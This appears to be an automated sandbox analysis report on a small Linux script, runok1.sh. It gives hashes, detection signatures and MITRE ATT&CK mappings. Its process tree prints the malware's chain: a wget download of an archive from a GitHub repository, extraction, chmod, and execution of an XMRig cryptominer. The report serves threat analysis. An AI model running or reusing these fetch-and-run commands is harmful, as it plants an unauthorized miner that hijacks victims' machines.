Analysis
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max time kernel
2s -
max time network
1678s -
platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240611-en -
resource tags
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submitted
17-10-2024 00:29
General
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Target
runok1.sh
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Size
138B
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MD5
ed44ae7cc01f7bcc21c98a523afabd7c
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SHA1
4e7f50162eeb61715a948d3359639c6910088860
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SHA256
1663e111eceb895f9be9e87c6cfda675e506cd8ec88d144fd1a2b5dc7081d0de
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SHA512
e1c895b50b2b259d40501497ae4f9b2bb77b2d8713cd584d9c83cab82898f5e134ba6c8320810bf649867156494ea5b656143b71e269c9490da210d48a52982c
Malware Config
Signatures
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XMRig Miner payload 2 IoCs
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
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Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads CPU attributes 1 TTPs 45 IoCs
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Enumerates kernel/hardware configuration 1 TTPs 19 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
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Reads runtime system information 5 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/runok1.sh/tmp/runok1.sh1⤵
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/usr/bin/wgetwget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/ok.tar.gz2⤵
- Writes file to tmp directory
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/usr/bin/tartar xvf ok.tar.gz2⤵
- Reads runtime system information
- Writes file to tmp directory
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/usr/local/sbin/gzipgzip -d3⤵
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/usr/local/bin/gzipgzip -d3⤵
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/usr/sbin/gzipgzip -d3⤵
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/usr/bin/gzipgzip -d3⤵
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/usr/bin/chmodchmod +x xmrig2⤵
- File and Directory Permissions Modification
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/tmp/ok/xmrig./xmrig2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
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Downloads
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Filesize
215B
MD54a7f4389236eb4bf97f48c9e03b46515
SHA1ca3af54e9ed7fa54979e30846e51b0e350051e88
SHA256cc778efdca31a003e3c2b66ca707437eedf1f5013d29f56326992062c1354d11
SHA5124c7b15421e28e5afc448c92575fceb546ddf78822d7309e1a4671b9f4c556e7e25942912da36f32137b7edfaafa1767ac0528fdcecda36090d5d7ecd89dbaf32
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Filesize
2.9MB
MD5773a7b4c82f833410d0af3c194b7cc0a
SHA1fb9e28144dfec4c6aa8eed7ac1a035dd3d87b19c
SHA2569c8cf5b3799e0639fd8a3840481546c2697a07b7db036b6f9543213a805fcf67
SHA5121eba89af980787dca1ee0b57f145c261aa546429ddc7b0879af4574ba5d3c4250c7d32f988ccfe2ecf171f6f10fabe0b2e69fbfc2e903f2f87026a48b526907d
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Filesize
150B
MD57fd26dcea92a3ad3561867c5735c8ecc
SHA1400fe1a03ef6d4520b88f0c63002266586cdaa0f
SHA256c2db0386506ea30d3b7c375ff40dfc875c2aa7961beb7806a36cf12fc10405b6
SHA512b114cee7f7da66afc53aca2013c63ed0d12740cca8ad46a5164789fe33f1889a2ec313186a29c4fc1dd30a11041db31bb307be1884e15680f4b7627143cbf6d8
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Filesize
2KB
MD56b2a368c8fb65afcfdedf3790de06cec
SHA157725848151f6a3ff894d262cff6773a343b33a6
SHA25664dda0b03564d8812657259c7df506e95ef6fb73afb3f69662c5a4f978d99156
SHA512b4e30d3f926acbddbf4f12a6835dee0ec82c249d8ceea25848bc1fa087d4a9541864adb8ea665b3b63c8cc27dc49ab9df6629640026105616c94cf0d689f7c10
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Filesize
6.7MB
MD58f633ade35df4f992eb28a2c5bc37cef
SHA16b2fe529339896b22328dec8936219e7b8e3252f
SHA256364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c
SHA5128073ded4e0b5d6333ecb0b324cf09c023dfa99c6110ad6f86225f1a4b9a0dcdf88bd094da9c920a8b729c020990dba9f263481030dec463ab9fbc41cba050c73